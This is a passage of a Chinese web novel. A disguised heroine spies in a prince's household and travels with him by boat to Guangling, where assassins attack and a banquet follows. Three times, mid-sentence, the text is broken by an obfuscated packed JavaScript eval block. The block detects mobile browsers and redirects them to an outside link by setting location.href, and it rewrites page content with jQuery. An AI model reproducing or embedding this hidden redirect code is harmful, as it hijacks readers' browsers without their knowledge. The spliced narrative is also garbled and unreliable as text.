没过一会儿，一位穿着破旧的老妪领着一孩童颤巍巍来到铺前，掏出一块灰扑扑的玉佩：“大人，我能拿这换点米吗？” 掌柜估计见惯了这场面，头也不抬道：“我这是米麦行，不是当铺，要当去街南边那家。” “大人，可那当铺说不收，让我来米麦行。大人，去年收成不好，种的粮将将抵了税。这粮食又涨得这样快，往年一斗五文，现在一斗五十文，这是要人命啊。大人行行好，我和孙儿几日没得饭吃了……” 掌柜也甚是无奈：“大娘，我也就是个贾人，这粮价涨跌非我能极呐。去年大旱，开春运粮的漕船又出了那样的岔子，数十万石粮食就这么被黄河吞了。俗话说物以稀为贵，这粮价可不就起来了——哎，客官需要点什么？” 老妪听了这番话，杵在原地无计可施，又不愿离去。 季辞秋看不下去，走到她身边塞了两百文钱，是她近来攒的私房钱：“老婆婆，您先拿着。” 那老妪见此就要下跪，季辞秋好说歹说将将劝住。 待老妪离开，掌柜才叹了口气：“生意难做呐，这天灾一降，苦的是平头百姓。最近这样的人是越来越多，你说人心都是肉长的，谁看着不觉可怜？但我若帮了一个便会有另一个，一个连一个，层出不穷，你说还帮不帮，生意还做不做？唉，造孽啊——” 季辞秋听着这话，心里也不好受，待装运完毕，逐一核对记录完钱额，闷闷驾车回了府。 叶望今日未出府，季辞秋在垂花门外张望许久，见着黎叔，正欲将单子呈上去，只听黎叔道：“随我来。” 她有些意外，默默跟着黎叔到了荣事堂，见叶望正于桌前静坐。 她将记录采买钱额的单子呈了上去。 叶望接过单子看了一眼，各项支出工工整整记在纸上：“先前习过算术？” 季辞秋答：“幼时在乡中私塾学过一阵。”又道：“我在采买录里发现了这个，想着多半是不小心混进去的，便带回来了。”说着从兜里掏出信件。 叶望似乎并不惊讶，倒是黎叔满脸堆笑地接了过来，见信封完好，若无其事道：“噫，多年前的废纸，不知怎混到这里。还是多谢你了。” 季辞秋忙称无事，心里却在想广陵的事。见叶望的机会不多，她必须好好利用。 想到这里，她半跪下道：“王爷，奴斗胆有个请求。” 叶望手中一顿：“你说。” “王爷此去广陵能带上奴吗？奴也想出份力，跟着长长见识。且奴在广陵有个多年未见的表亲，想顺道看看。”当然这是季辞秋瞎编的。 院中一时沉默。 “奴绝不拖后腿，什么脏活累活都能干。”她深吸一口气，抬头对上叶望审视的目光。 今日天朗气清，风和日暄。明媚的春光下，这样的眼睛显得格外亮，格外明朗，刺得叶望有一瞬晃了神。 正僵持，一小厮自外头匆匆而来：“王爷，张小公子又着人来说要见您，在景明茶馆的松风斋。”紧接着又补充一句：“他还说王爷要是不来就一直等着。” 叶望皱了皱眉，对季辞秋道：“晚点黎叔会给你答复。”说完便由着小厮进了里屋。 季辞秋有些失望地起身，叶望的防备心重，攻略起来实在困难，她在心中哀嚎。 —— 这边叶望换身便服出了府，待到景明茶馆，推开松风斋的竹门，便见一瘦削硬朗的男子倚在窗边望着流水出神。 那男子看叶望从容迈进，眼里冒火又生生压住，瞅着叶望慢条斯理地坐下斟茶，终于按耐不住，哗得一下站起：“叶其清！你究竟怎么了？怎得从陇西回来就跟换了魂一样？” “还有，为何一直不见我？”说着瞥了眼叶望，又重新坐下，“我知道，在季将军的事上，我爹是做得不好，太冷漠了。可我张展同你说句掏心窝子的话，这件事自始至终都是圣人的意思，圣意已决，驷马也难追啊！” 这一通密密匝匝的话扑头盖脸，叶望没有回答，抿了口茶问：“司祁，我是谁？” 张展莫名其妙：“你？大周的五殿下。”说完不可置信地看他一眼，“你拿身份压我？” 叶望梗了梗，道：“依你之见，这东宫谁会入主？” 张展呆了呆，挠挠头：“那必是立嫡立长。听我爹说，前阵子左右仆射连同六部尚书又上书圣上早立储君，圣上还是搪塞过去，”说着说着似是悟了，忽得看了眼叶望，“你……” “如你所想，照现今的架势，我无论有无意图都是敏感人物。你爹做的没错，且不谈季将军是否真的蒙冤，倘若他为季将军说话，你张家和我的性命都难保。” 张展垂头，沉默不语。 叶望继续道：“所以，你这个手握兵权的都尉，最好也不要与我来往，会害了你。” 张展良久无言，叶望整了整衣襟起身离开，却听身后一声苦笑：“又是这样……玉儿当时也这样说。” 叶望听到玉儿，脚步一顿，回头看他。 张展眼眶微红：“我那时要是早一日寻她，也不至…事到如今都不知她在何处。”说罢自嘲笑了笑，“罢了罢了，一个个都躲我，都怕害了我，如你们愿！” 张展抹了把眼，径自跃过叶望出了门。桌上的茶还腾腾冒着热气，风吹着窗檐悬挂的铃音阵阵。 叶望于屋中静立了片刻，叫小二结了茶钱，也离开了。 回府已近日入，他径自入了武堂，一通刀光剑影后，满腔的燥意随着汗水蒸腾而出。 黎叔在一旁候着，见他收了剑，上前递上一卷文书：“王爷，先前着人查的白轩户籍查到了，与其奴籍无异。” “此人永元九年生，关内道蓝田县良民，世代务农。永元二十二年，关中旱、蝗为灾，死者枕藉，其亲均殍，唯白轩卖籍为奴侥活。后辗转多户人家，今岁孟冬入府为车夫。” “先前待的人家可查过？” 黎叔点头：“查了，都是寻常人家。” 叶望摩挲着黄纸，默了片刻道：“广陵随行加上吧。” 一个会武功的农户，有点意思。 ——— 齐王府，叶玄正闭眼侧卧在罗汉床上，身旁的侍女熟捻地为他按摩小腿。一身材魁梧、横眉立目的男子推门而入。 座上人屏退左右：“何事？” 成影走近道：“王爷，白轩那头办好了，过几日会随晋王下广陵。” 叶玄听此话睁开了眼：“有趣。这有意栽花花不成，无心插柳柳却成荫了。” 那日他办事。回城，路上被季辞秋劫持，认出她后，一个念头萌生：派她卧底到晋王府上。不知叶望若是发现他敬之如父的季恪的独女成了自己府上的细作，会作何反应？想想便很精彩。 原本就是他的恶趣味，也不甚在意。没成想这随意摆的无用棋子，竟生根发芽，自成一派了。 叶玄心情甚好：“告诉她，待到了广陵，去趟广济坊官河东的铁匠铺，自有人与她串通。” “是。”成影应声退下。 ——— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705548|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在繁忙的筹备中，转眼就到了启程广陵的日子。这天一大早，季辞秋便跟着几位小厮陆续将行装运至船上。 皇子出游，排场做得十足，除了两层的华丽大船，还贴心地从千牛卫中选了三名护卫跟随。 这样声势浩大，在码头便引得一众平民围观。 忽得人群中挤出一人，径直奔向叶望。 “什么人？”护卫有所察觉，将他拦在了长刀下。 “将军！”男子激动异常，“长林军的兄弟都等着将军，将军果真不领兵了吗？” 一言既出，嘈杂的人群安静下来。 叶望的脚步顿了一下。 “大胆，敢冲撞殿下！”领头的护卫庞谨欲将他押走。 “慢着。”叶望回过身，定定道。 长风沿河道顺流而下，混杂着远方而来的花香，将船帆鼓动地刷刷作响。他居高临下，透过千牛卫的长刀看过去。 男子跪地仰着头，眼里透出有些迷茫的希冀，似穷途末路的信徒。 一瞬间，长平的沙尘席卷而来，刀光剑影复又重现，险些将他刺穿。 他默默移开视线，袖中手指蜷曲，哑声道：“是，本王已不再领兵，莫要叫本王将军了。” 男子闻言，不敢置信地盯着叶望，久久说不出话。 “告诉他们，不必再等了，早日谋个出路。”叶望扔下这句话便上了船。 看热闹的众人熙攘散去，季辞秋与小厮拖着剩下几个麻袋匆匆而来。 时辰已到，硕大的船帆缓缓展开，行程起航了。 这是季辞秋第一次坐船，她隐隐兴奋，虽然有任务在身，但总算可以出门游历一番了，不枉她担惊受怕地苟了这么久。 此行沿渭水穿潼关，入通济渠至淮安，再由邗沟抵广陵，前后耗时近一月。 站在甲板上，极目远眺。早春的河道，正是繁忙时节。漕船、货船、客船来往穿梭于浮光跃金的水面，恰似织金绸缎上的点点绣花。 春风料峭，季辞秋打了个寒战，进了船舱。舱道可容三人并行通过，两侧除头两间作仓储，其余均为客房，随从的房间分布在右侧。 季辞秋走进右边第四间，木板随着脚步吱呀起伏，床铺靠着舷窗，可卧看胜景。 这时，吱呀声又响起，一抹嫩黄从门口掠过。 季辞秋几步跨出门：“芸姑娘。”女子听闻转过头来。 “我叫白轩，住姑娘对面，有什么事可以吩咐我。” “好。”芸娘飞速抬了下眼，快步进了屋。 船平稳地行驶在河面，随水波微微荡漾，令人昏昏欲睡。季辞秋用完午饭便回屋睡着了。 朦胧间，看到一座气派的府邸，正待看清门额的牌匾，便被一群侍女拉了进去。 只见正堂坐着位面容清丽、衣着素净的妇人，她笑着向季辞秋招手：“过来我儿，新上的龙绡到了，可有喜欢的？挑几样裁了做冬衣。你爹爹打完这仗年关就回来，到时候我们阿秋穿得漂漂亮亮的。” “娘，爹爹今年真的回来吗？他每次都这么说，每次都不回来。”季辞秋听见自己这样说，“爹爹是不是不要我们了？” 妇人听这话愣了神，但还是怜爱地点了点她的额头道：“怎么会？阿秋听话，爹爹他呀，不仅守着我们的小家，还要守卫天下的大家。待他完成大任，便会回来的。” 忽得天旋地转，耳边传来尖啸的哭喊声，滚滚热浪蒸腾，偌大的府邸中火舌肆虐，夹杂着兵甲碰撞的声音。 “圣上有旨，陇西节度使季恪豺狼野心、大逆不道，欲行谋反之事，已就地正法。其府男子给驻防兵丁为奴，女子俱籍没掖庭——” 季辞秋呆呆立于其中，被一股力猛地推向墙边。回头看去，刚刚那妇人捧着她的脸急促道：“阿秋，快跑。跑得越远越好，别叫人发现。” 打砸的声音渐近，妇人站定，深深看了她一眼，似要看尽这一生的眷念与遗憾，而后用力将她一托。 季辞秋只觉得自己的身体越过高高的围墙，穿过层层热浪，再回头看了一眼。院中的妇人孤零零地瘫坐在地，朝她挤出微笑，一根梁柱遽然倾倒，伴随火海将其吞噬。 9. 殊途 季辞秋骤然惊醒，擦了擦额头的汗，望向窗外。河面点点灯火渐起，已是酉时。想起先前的梦，她心情复杂。 自己虽是意外穿越之人，但跟着原身走过她的记忆，却似真成了局中人，心中隐隐作痛。 历史上的季恪是位持正不阿的忠臣，大半生戎马倥偬，守下大片江山，晚年功高盖主，结局凄凉。 季辞秋很想告诉原身，她的爹爹不是什么反贼，一直是位顶天立地的大英雄，在随后的昭宁年间会被平反，他的精神、功绩伟业会长久刻在青史简上，名垂千古，流芳百世。 但这样的话姗姗来迟，如那纸平反诏书，于逝者而言，有些苍白无力。 可历史向来如此，不是吗？ 季辞秋第一次真实体会到“史书上的寥寥几笔，便是他们波澜壮阔的一生”这句话的沉沉重量。她感到自己身为旁观者的冷漠与理性正在崩塌瓦解，又有个声音隐隐响起。 “历史自有它的轨迹，不要入局。” “你不是想纵情山水吗？想办法脱离这场纷争便是。” 首尾两端，季辞秋心乱如麻，一时扯不开，遂起身跨出船舱。 夜凉如水，清风拂面，乱糟糟的思绪稍散了些。 她环顾四周，发现船的另一头有个身影，定睛一看，似是晋王。也不知在那立了多久，一袭长衣都披了霜寒。 季辞秋没有上前，只静静看着。彼时船正缓慢地穿过峡谷，水面逐渐开阔，夜色勾勒出峭壁高耸的轮廓，在这巍峨的天地间，那道修长的身影隐隐显出一丝渺小孤寂感。 好似历史洪流中的每个人。 她不禁想起历史书中对叶望的评述，在他短暂的一生中，除了早年的沙场征战和长林军，几乎没留下什么：少以英武知名，而后放浪不羁。金戈十载，皆成梦幻。罹染顽疾，疾渐笃，昭宁一年薨。 短短几行小字，隐匿在书页边缘，作为补充知识没有纳入考试范围。 季辞秋隐隐有预感，所谓的放浪不羁似乎没有表面那么简单，而收兵回京的这段日子，似乎也不应当是空白一片。唯一不辩的，便只有那单薄的一句结局，“昭宁一年薨”。 一个念头忽然冒出，倘若殊途同归，现今所做的一切是否还有意义？ 明月高悬，流水滔滔，无人回答。季辞秋打了个哆嗦，入了船。 船艄久立不动的男子微微侧身，朝船头看了一眼。 —— 子夜，万籁俱寂。船上的灯熄了，只留梢头一间客房灯火摇曳。一男一女的身影映在窗栊上。 “杜姑娘那边都办好了？”男子提起短刃削了削烛芯。 女子步履款款，自暗处走出：“回殿下，小姐已安排妥当。” 叶望勾唇笑了笑：“芸娘，千秋阁的那出好戏，多谢你配合。” “殿下说的什么话，”芸娘忙道，“承蒙大恩，小女身无所长，无以为报。如今有了这用处，高兴还来不及呢。” 叶望没回这话，径自道：“待到了广陵，你去北郊的神居山上，那里有座空宅。此后个中纷争便与你无关，我自会派人护你周全。” 芸娘点头应下，喉中哽咽：“殿下大恩大德，小女没齿难忘。若还有用到小女的地方，就知会小女一声。”说着深深鞠了一鞠：“也请殿下代我问小姐好，请她千万注意身体。” 叶望点点头。 —— 船上的时间过得尤为漫长，没几日季辞秋便蔫了，就连葵生的话都少了许多。 这日，黎叔不知从哪儿拿来一只棋盘状坑坑洼洼的木板，叫来葵生道：“事先我怕船上久而无趣，着人备了这个，你看看有何用？听说宫里的贵人们都玩。” 葵生仔细一看，奇道：“这不是掷卢吗？”他顿时来了兴致，一把薅起木盘，搁在甲板的横桌上，唤人去了。 千牛卫的护卫个个不苟言笑，葵生自讨没趣，遂去找府内人。 “快来快来，给你们看个好玩的。”季辞秋同府里其余两名小厮一道，一头雾水地被葵生叫了出来。 只见葵生指着那木盘兴奋道：“掷卢，玩过没？”见众人无应，大咧咧坐下，“无妨，待我说完规矩，你们便知了。” 说着抓起一枚棋子道：“此为马，作行棋之用。”又捻起一杏仁状、正反面黑白两色的木子：“此为木，投掷用，以掷出的齿采定行棋数。若掷得王采则可再掷一轮。” “此木盘为枰，枰上有道，棋需沿道行。道上有坑、关，若掉坑需掷王采方可出坑，两关之间亦需掷王采方可过关。若二马道中相叠，可吃马，且可再掷一回。” 大富翁？季辞秋听了半天，总算明白了。原来古人也玩飞行棋。 许是听到动静，叶望负手走了出来。葵生见状热情招呼：“王爷，掷卢，玩不玩？正缺一人。” 这主仆关系倒是融洽。 葵生将棋子分为五堆，发给众人：“人各四马，先掷五木。争走马道，先至终点则赢，若四马俱被吃，则输。” 季辞秋接过四枚赤子，见叶望撩袍在她身边落座，鼻间传来淡淡的乌沉香。 “哦！忘了定赏罚。”葵生一拍脑袋，“一百文如何？” 又想起什么，看了眼叶望：“不对，一百文对王爷算不上惩罚。”说着垂头犯了难。 “另加一两白银。”叶望淡淡道。 大周白银虽不可直接作钱交易，但若是需要，可去钱庄兑为铜钱，足有一千文。 葵生咽了咽口水：“可以。” 兴许老天相助，季辞秋今日的运气极好。上来便频掷大数，一路遥遥领先。“啊！我的小马——”随着最后一马被吃，葵生哀嚎一声，第一个出了局。 随后另两名小厮在后头互相残杀，被开始处于下风的叶望灭了尽。场上顿时只余二人。 风水轮流转，运气似乎到了叶望这边，他一路赶超，几近追平，二人来到最后一关。季辞秋开局不利，掉入了坑里，眼睁睁见叶望就要过关，好像看到一千文从眼前溜走。 这次，财神爷赶来帮忙，在接下来的两轮她连掷王采，差点让葵生的眼珠子掉了出来，仅一步之差险赢了叶望。 季辞秋接过四百文和叶望的一两白银，两眼放光。游山玩水的基础基金，这不就有了！ 没想到第一桶金是从卧底对象这里薅的，好像有点不太厚道……季辞秋想着朝叶望看了一眼。 没想到叶望也正打量着她，她尴尬咳了一声：“多谢王爷。” “无碍。”叶望起了身，同黎叔说了点什么，便回屋了。 葵生不尽兴，拉着黎叔坐下，嚷嚷道：“再来再来，我就不信了！” 一行人闹到日晚才散。 是夜，因白日的喧闹，众人皆早早入睡，船上落针可闻。 季辞秋夜中口渴，迷迷糊糊欲起身寻水，忽得听门外传来细微的吱呀声，不似寻常行路。 她顿时汗毛直立，睡意全无，摸了枕下的短匕，屏息听着动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705549|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静。那声音由远及近，每几步就停留一下，像是在找什么。 月光透过窗棱洒入室内，投射出房门外的人影，季辞秋赶忙闭眼装睡。紧接着，她听到对面房门被轻轻打开了。 “芸娘？”季辞秋心中打鼓，轻手轻脚起了身。 要不要去看看？季辞秋有些退怯，可眼下似乎没有考虑的时间。 “不管了，我有武功，不怕。”她哆嗦着为自己打完气，攥紧拳，三两步冲入芸娘的房间，大呵一声。 那蒙面人一震，立即向床上砍去。季辞秋眼疾手快，抄起门边的矮凳砸了过去，趁其躲闪间隙，迅速掠至床边揽起芸娘。 到手的猎物被夺，蒙面气急败坏地砍向季辞秋。揽着芸娘，季辞秋行动不便，吃力抵抗着，节节败退。 门外也传来激烈的打斗声，季辞秋一个不留神，听到芸娘一声惊呼，见那刀尖就要直直刺过来，她慌忙用手臂拦了一下。 “嘶——”，刀刃斜斜划破衣料，刺入皮肉。此时，葵生同两名护卫一个箭步冲入房内。 那蒙面见事态不妙，一个纵身自窗洞跃入水中，没了踪影。 叶望在甲板上同一黑衣缠斗许久，见其招式拖沓纠缠，心中顿觉不妙。速速解决后，匆匆入船。 入了房，芸娘面白如纸地瘫坐在地，季辞秋在一旁扶着，小臂有伤。 “可有活口？” 众人摇头，葵生急急道：“约莫十几人，个个都为死士。” 叶望皱了皱眉，方才与他缠斗那人武功一副江湖做派，竟能与他过上几招，不知是什么来头。 庞谨半跪抱拳道：“尔等有罪，不察贼人，让殿下受惊了，请殿下责罚。” “无碍。” 庞谨见此，试探地追问道：“殿下怎会和这些人有恩怨，这之间可有些误会？” 叶望笑了笑：“本王也很好奇，同这些人有何恩怨。” “芸姑娘，你可曾惹了什么人？”葵生问道。 刚刚经历生死一刻的芸娘木讷摇头：“小女一直蹈矩循规，未曾有过冒犯之事，何况还是这样厉害的人物。” “这伙人应是在寻船上的女子。”季辞秋闷闷道。 芸娘听罢，似是想起什么：“那贼人到床边我便醒了，我不敢出声，”说着难堪道，“只感觉他掀开我的衣裳，似是想看我腰间……” 众人沉默，这么大阵仗，劫色之徒？ “你受伤了？”芸娘怯怯望了季辞秋手臂一眼。 葵生这才注意到，上前查看了一番，松口气道：“未伤着筋骨，将养十来天便可痊愈。我给你包扎一下。” “奴来吧，”芸娘飞速看了一眼季辞秋清秀的侧脸，解释道，“白公子是为救奴受的伤，理应奴来。” 葵生满不在乎摆摆手：“不妨事，包扎一下很快的，姑娘好好休息。” 一旁的黎叔见状，不动声色地拦下葵生道：“既然姑娘请缨，那就有劳了。”说罢拉着不明所以的葵生，一行人出了房。 芸娘理了理发髻，见那白面小生呆立在原地，招呼他坐在凳上，便取了巾帕用水濡湿。 冷不丁小生开口问：“芸姑娘，那贼人当真是想瞧你腰间？” 芸娘听了这话，脸浮起红晕：“我瞧着是的，”见他面上白了白，又赶紧补充道，“但他还未看到，公子便进来了。” 此时的季辞秋心如乱麻，方才芸娘的一席话在旁人听来无甚大碍，却于她心里掀起了波涛骇浪。 10. 广陵 “公子？”芸娘见季辞秋久无反应，伸手在她眼前晃了晃。 季辞秋回过神来：“抱歉，我在想这伙贼人为何而来。” 芸娘撩了撩袖，回身拧帕：“公子勿太劳神，这年头不太平，什么样的草寇都有。他们这一次损失惨重，定是不敢再来了，公子安心养伤便是。” 季辞秋点头，心中却欲哭无泪。可不是草寇，是专门冲她来的。那贼人想看的腰间的东西，若没猜错，正是自己腰上那枚心形胎记。 她在心里哀叹，季恪的女儿真不好当，不仅官兵缉捕，连江湖匪盗也在追杀。原本还想着攒够钱一逃了之，深山隐居度此一生也不错。如今是彻底断了这念想，都追到这儿了，能躲到哪里？ “嘶——”，剧烈的疼痛将季辞秋拉回了现实，只见芸娘正将伤口上粘连的衣料分离。 看着面前女子小心翼翼的动作，季辞秋定了定神，随意问道：“芸姑娘与王爷认识多久了？” 芸娘手一顿，随即答：“不久，约莫数月。” “芸姑娘觉得王爷是个什么样的人？” 芸娘听了这话，没抬头：“妾一个贱婢，不敢妄论殿下。只知道跟着殿下，就不用呆在那鬼地方，能过安稳日子了。” 季辞秋紧追不放：“可王爷多情，四处沾花惹草，某私以为非姑娘良配。” “公子这是何意？” 季辞秋微微一笑，身子前倾凑近芸娘，缓缓道：“不知姑娘——瞧我如何？” 芸娘脸愈红，眼神躲闪道：“公…公子自重。妾既已跟了殿下，便不能再与他人。” 季辞秋听了这话，回身哈哈笑道：“同姑娘开个玩笑，切莫当真。王爷的人，某是万万不敢碰的。” 芸娘敛眉，似是有话要说，嘴唇嗫嚅了几下，终究未再说什么。待包扎完毕，季辞秋便道谢离开。 果真有猫腻，适才的谈话，芸娘的回答百无一漏，可独独落了情绪。平静得像是在刻意掩盖着什么。 从芸娘的视角看，千秋阁那出怎么看都是一场赤裸裸的羞辱，而今的广陵之行更甚。若非是对叶望情深根中，或多或少会有怨怼。更何况季辞秋隐隐觉着芸娘似对自己有意。 看来这趟广陵行绝不简单。 如芸娘所言，那帮蒙面再没来过。季辞秋养着伤，那晚变故太多一时忘了疼痛，等事情一过，小臂上的痛感便愈发强烈。一次睡梦中不慎压到，她直接疼出了眼泪。 渐渐地，她的伤口逐渐结痂愈合，而广陵也将抵。 —— 这日风和日丽，广陵城东水门码头上旌旗飘摇，一众官人叩首而待，远处挤满了围观的百姓。 “听说了吗，咱们广陵要来一位皇子！” “嚯，这可稀奇了，来我们这干啥？” “不知道，不过听我在京城为官的外甥说，这位怕不是个省事的主。说是吃喝嫖|赌，样样精通，前些日子还同几位妓子勾连，闹得京城人尽皆知。” 众人听罢，俱是摇头。说话间，一奢丽大船靠了岸，一行衣冠齐楚之人自船上缓缓而下，一人被护卫围在其间，虽看不清容貌，但仅从身量上看，英英玉立，风姿尤甚。 岸上的红袍男子拱手道：“臣等恭迎晋王殿下不远遐路，大驾光临。” 叶望点头：“你是——？” “下官广陵刺史薛世平。”薛世平恭声道。 “怎么不见宋节使？” 薛世平有些为难：“宋节使今日忽有急事要办，未能远迎。” “殿下舟车劳顿，下官为您在绮陌楼备了一场接风宴，可观清歌妙舞，赏百花争艳，洗一洗这路上的疲敝。”薛世平提前打听了晋王的喜好，趁机殷切道。 果不其然，叶望闻此大悦，拍手道：“甚好，请薛刺史引路。” 众人入了几只更为精致小巧的画舫，沿着广陵城四通八达的内河，蜿蜒前行。 广陵的河水不似长安的浩大，柔情四溢、曲折回旋，河的两岸杨柳依依、青瓦白墙，颇有一番诗意。一座座石桥飞架于碧水之上，桥上往来穿梭的身影倒映水中，被船桨搅起的清波荡漾开来。 没过多久，眼前现出一座珠帘绮户、玉砌雕阑的临水小楼，楼上衣香人影绰绰，余音袅袅。这便是绮陌楼了。 正中的大堂早已摆好了席，静待贵客。众人落座后，曲乐靡靡奏起，薛世平满脸堆笑地同叶望一一介绍到场的官绅。 “这位是淮南节度副使。”薛世平引着一虎背熊腰、豹头环眼的人道。 那人正赏在兴头上，闻言敷衍站起，抱拳道：“副使郭统，见过殿下。”叶望倒也不介意，微笑点头：“有所耳闻。” 郭统却不愿再说，眼睛直勾勾盯回了台上。薛世平见状笑着圆场：“殿下，这绮陌楼第一花魁，也是咱广陵第一花魁的琼娘子就要登场了。”话音刚落，便见一着朱红罗衣，环青绿披帛的女子款款上台。 大堂瞬间静了一静，女子云鬓高挽，珠翠玉钗与金色步摇点缀其间。青黛娥眉，目若秋波，眼尾恰到好处地晕出一抹红，惹得人心神荡漾。 好美，季辞秋看得都要醉了。只听叶望不禁赞道：“都说江南的女子余韵流风，今日见了，才知是名副其实。真是一方水土养一方人呐。” 众官听了，顿觉面上添光，骄傲地挺了挺身板。 忽得一洪亮的男声响起：“我来晚了。”只见一身材魁梧、正颜厉色的男子跨进来，见着叶望，扬声道：“公事繁忙，殿下不要责怪啊。” 叶望笑了笑，举杯：“宋节使心怀天下，不辞劳苦，本王怎会责怪，快就座吧。” 宋延也不客气，寻了个上座，大咧咧坐下。 一场宴席在你推我诿的寒暄中度过，宴会后段，忽得上来二十来个柳腰花态的女子。那薛世平喝了酒，言辞大胆了些：“都给我听好了，这是京城来的贵客，伺候好了，有重赏。” 众女子瞥了一眼叶望，纷纷掩面羞笑。薛世平躬着身子凑到叶望身边：“殿下，您看哪个满意，您先挑，多几个也无妨。” 叶望酒意氤氲，脸上浮起红晕，迟钝地托着腮。他缓缓抬起长睫，眼神迷离地扫了一圈，有些丧气地摇了摇头。 薛世平见状赶忙招呼老鸨：“再多些水灵的，快去！” “不必，”叶望晃荡着起身，将杯中酒一饮而尽，悠悠道：“本王要方才那个。” “这......”薛世平有些为难，偷瞟了郭统一眼，只见郭统脸色黑了黑，但没作声。他会了意，忙笑道：“殿下二楼请。” 季辞秋同葵生也没能躲过，被众官热情地张罗：“小兄弟，挑一个，如何？”那些女子见状攀缠过来。 葵生哪经历过这个，一时不知是该看天还是看地，季辞秋急中生智：“王爷将将抵了广陵，行装还未收拾，奴等要去安置宅子。” 众官听了，个个恍然大悟：“该打该打，未想到这个。那就不留你们了，速去吧。” 季辞秋拉着僵在原地的葵生，速速逃离了这个是非之地。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705550|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“那宋节使和郭副使，来者不善啊。”她瞧着葵生道。 “害，旧事了。”葵生无奈摇头。 “这宋节使是个武痴，酷爱练兵，日日想着沙场立功。可你也看到了，淮南道不似边疆，少有战乱。” “那为何派他守淮南？”季辞秋疑惑道。 “这你不懂了吧，我先前听王爷说，正因为他是个武痴，对朝堂上的事儿不感兴趣，圣上才放心他守此富庶之地。” 季辞秋装作似懂非懂。 “扯远了，”葵生摆摆手，“四年前，东契丹进犯，绕过幽州扑太原，河东节度使不防，大败。眼见契丹南下，直指长安，圣上便召集陇西、淮南节度使驱兵阻截。” “淮南道离得远，自是不及陇西的位置优势。契丹的军队便被陇西半道截了，一举歼灭，圣上大喜，重赏了我们。淮南节度使不知是从哪听的风言，说我们陇西军抢他们的功，害他们白跑一趟，自此便结了梁子。” “好生奇怪，居然有人上赶着打仗。”季辞秋不解。 “所以他是个武痴。”葵生耸耸肩。 白日的集市热闹繁忙，卖书画篆刻、铜镜毡帽、蜜饯糖藕的，一应俱全。二人走着走着拐入一条小巷，巷子尽头的人家挂着面印有“高”字的幡旗，一股浓郁的酒香扑面而来。 葵生见了奇道：“这店家也是奇怪，不把店开在热闹的街坊，偏跑到这样偏僻的地儿。” 季辞秋学着葵生道：“这你就不懂了吧，酒香不怕巷子深。走，去瞧瞧。” 待到店门口，一衣衫褴褛的小儿抹着泪跑了出来，身后追出的胖婶骂骂咧咧：“臭小子，干点什么不好，偏来偷，再来打断你的狗腿。” 这么小的孩子都好酒，季辞秋同葵生面面相觑：“大娘，这是怎么了？” 那胖婶上下打量了二人几眼，笑道：“一个惯偷的毛贼罢了，二位口音听着不像广陵人？” “我们从长安来的。”葵生脱口而出。 胖婶听了这话，直了直身，神色不自然地试探问道：“二位来这儿，可是有什么事？” “你这酒，香飘十里，我们来这儿，自是看酒的。”季辞秋不由分说迈入店内，四处看了看。店中货架琳琅摆满了各式各样的酒，屋后头看上去像制酒的作坊，似乎没有异样。 那这大娘紧张什么？她心中疑惑，同胖婶攀谈了几句。 那胖婶见他们真的来看酒，顿时滔滔不绝，口若悬河。季辞秋和葵生实在不感兴趣，硬着头皮听了一会，方寻借口脱了身。 走着走着，葵生一拍脑袋：“呀，方才该买上一坛的。听说这广陵的琼花酿，蜜香清雅，入口绵甜，王爷定是喜欢。说不定一高兴送我把趁手的宝刀。” 季辞秋拍拍他：“机不可失失不再来，下次吧。” 二人一路聊着，眨眼间便到了薛刺史事先置办的宅子。一大堆行装堆在院落正中，芸娘正站在一旁发愁。因着尴尬的身份，她没有赴宴，提前来了这里。 季辞秋看着芸娘，想到叶望此刻在温柔乡里徜徉，撇了撇嘴。刚到广陵便醉生梦死，先前是高看了他。 而此刻徜徉温柔乡的那位，被拥着上了二楼后便以非礼勿听为由打发走了守卫和薛刺史。他摇摇晃晃地走到那间寻芳阁门口，理了理衣袖，哗得一声拉开格门。 青瓷茶壶煮于炉上，咕咚冒出几缕青烟。 那曼妙女子执扇于窗边静坐，闻声缓缓回头。 “晋王殿下。多日未见，别来无恙。” 11. 琼娘 叶望因酒意涣散的眼睛霎时恢复了清明，他迈入房内，缓缓合上门：“好久不见，杜姑娘。” 二人一时竟无话。 茶水腾波鼓浪，翻滚着几欲溢出，杜琼玉不紧不慢地揭开壶盖刮去浮沫，缓缓斟入茶盏：“芸儿可好？” 叶望拂袖坐下：“随我一同来的，等过些日子事情处理完了，送她去神居山上。” “芸儿的事麻烦殿下了，”杜琼玉举杯，以茶代酒，“这姑娘自小跟着我，一朝变故，多年未有音讯。如今把她赎了身，安置在我身边，我这颗心也便安下了。” 